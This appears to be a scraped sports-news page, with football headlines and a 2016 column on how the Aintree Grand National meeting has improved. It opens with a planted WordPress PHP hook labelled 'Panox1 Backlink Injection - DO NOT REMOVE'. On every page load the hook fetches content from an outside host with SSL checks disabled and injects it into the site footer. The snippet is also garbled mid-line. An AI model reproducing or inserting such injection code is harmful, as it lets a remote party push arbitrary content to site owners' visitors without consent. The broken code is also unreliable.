// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Ashforth's Angles: Aintree ain't what it used to be, it's so much better – Next Sports News
Football

Jets star Brandon Marshall wins civil assault suit

Mark Lennihan/AP Brandon Marshall left the courthouse once the case went to the jury and did not return, so he was not in the room when the verdict was read. Jets wide receiver Brandon Marshall won the civil suit levied against him by a California woman in Manhattan federal court for assault and battery on Friday. Christin Myles, who accused Marshall of punching her in the face outside the Marquee nightclub on Mar. 11, 2012, sought at least $75,000 in damages for her medical expenses and her pain and suffering. The jury deliberated for just over an hour before

Football

D’Brickashaw Ferguson thanks fans in retirement letter

Kathy Willens/AP D’Brickashaw Ferguson says that a desire ‘to pursue other goals in life’ led him to retire. D’Brickashaw Ferguson formally announced his retirement Saturday morning in a letter posted on the team’s official website. The three-time Pro Bowl left tackle never missed a snap due to injury in his 10-year career. He’ll be honored in the team’s Ring of Honor one day. His thank you letter to fans, teammates, etc. is below: My Fans, As I considered the words I would say to you, I recognize a simple truth: It just isn’t easy saying goodbye. MEHTA: FERGUSON RETIREMENT

Football

Myers: Ferguson leaving money, saving health in retirement

Maddie Meyer/Getty Images While he spoke candidly about concussions in December, D’Brickashaw Ferguson was never diagnosed with one in his 10-year career. D’Brickashaw Ferguson is 32 years old and played 10 years in the NFL and the only snap he missed in his career came on a trick play. So, he is not part of the epidemic of young players in the last two years who are getting out of the NFL early rather than risk brain injury, even though it’s before they max out on their earnings potential. Ferguson made $67 million with the Jets and never was

Football

Jets trade for Broncos' Ryan Clady to replace D’Brickashaw

Kathy Willens/AP Broncos offensive lineman Ryan Clady blocks for Knowshon Moreno. That was fast. On the same day D’Brickashaw Ferguson made his retirement official, the Jets traded for his replacement, dealing for former Broncos tackle Ryan Clady, according to a source. Gang Green is giving up a 2016 fifth-round pick in exchange for the tackle and will also receive a 2016 seventh-rounder, according to a source. Those are the same terms the Jets struck with the Bears a year ago in a deal for wide receiver Brandon Marshall. Clady, a four-time Pro Bowler, started 16 games in 2014 for

Football

Advocate blasts Greg Hardy’s clueless, harmful stance

Ric Tapia/AP Greg Hardy denies ever assaulting women in an interview he did with ESPN’s Adam Schefter. Domestic violence experts responded with dismay Tuesday to disgraced football star Greg Hardy’s claim in an ESPN interview that violence against women is “nonexistent in most southern homes.” “Domestic violence does not discriminate, it impacts every race, geographic region, educational background,” Katie Ray-Jones, the CEO of the National Domestic Violence Hotline, tells the Daily News. “It knows no boundaries. It’s a reg resilient issue that people don’t talk about.” Hardy, who was suspended four games last season over evidence that he battered

Home
Ashforth's Angles: Aintree ain't what it used to be, it's so much better
Horse Racing

Ashforth's Angles: Aintree ain't what it used to be, it's so much better

On 

[ad_1]

Grand National fences

Last year, on Grand National day, 72,500 enjoyed the improvements

  PICTURE: Edward Whitaker (racingpost.com/photos)  

 By David Ashforth 6:00PM 6 APR 2016 

HOW about this? 40 years ago, on April 1 1976, the opening day of the Grand National meeting staged only two jumps races, the Fox Hunters’ Chase and the Topham Trophy, both run on firm ground. So that’s changed. It was to be the last year that the meeting was a mixture of jump and Flat races.

The previous year, when the National was similarly one of just two jumps races on the big day, how many people do you think were at Aintree to see if Red Rum could complete a hat-trick of Grand National victories? If you don’t know the answer you won’t guess it because the figure was a feeble and alarming 9,000. A week later over 46,000 were at Anfield to watch Liverpool beat Carlisle so it wasn’t because everyone on Merseyside had died.

Mrs Topham had sold the racecourse to property developer Bill Davies, who raised the admission charges and seemed likely to oversee the neglected course’s final demise. Thankfully, Ladbrokes took over the management of the National in 1976 and 42,000 were there to watch Red Rum finish second to Rag Trade. It was a huge improvement but, even so, on the same day 54,632 chose to go to Anfield instead.

Aintree was a bleak and uninviting place and it remained so for many years, into this century, since when the facilities and race programme have undergone a welcome transformation.

Last year, on Grand National day, 72,500 enjoyed the improvements. Two days later 44,611 watched Liverpool beat Newcastle. It should be that way around.

Forty years ago that great hunter chaser Credit Call won the Fox Hunters’ for the third time, as 5-4 favourite, although there were only nine runners, and only a dozen in the Topham.

Fields have expanded since then but even in a 23-runner field most pre-race words will be devoted to only two contenders, the hunter chase superstar On The Fringe and Pacha Du Polder (4.05). The latter’s performance under Victoria Pendleton behind On The Fringe in the Cheltenham Foxhunter could be viewed as an ideal preparation for Aintree and champion point-to-point rider Will Biddick is now on board, having switched from Current Event.

On The Fringe and Pacha Du Polder will dominate the market and if there is any value it may lie with the deserted Current Event, fourth at Cheltenham and now ridden by the highly capable Katie Walsh.

Shorn of Paul and Clare Rooney’s horses, Donald McCain has had a difficult season so it probably won’t help to burden him with the thought that Katachenko has a lively chance in the two mile handicap chase (4.40).

It’s a day for watching and enjoying Cue Card and Djakadam (2.50), Annie Power (3.25) and the rest. After the opening Grade 1 novices’ chase (1.40) there’ll be time to watch the opening Class 5 at Southwell (1.50), featuring Mailshot, the latest two-year-old debutant from Mark Johnston’s yard. He’ll have been very well prepared and if he follows in the hoofprints of his juvenile stablemates, I expect he’ll win.

 

[ad_2]

Source link

Related Posts

Reply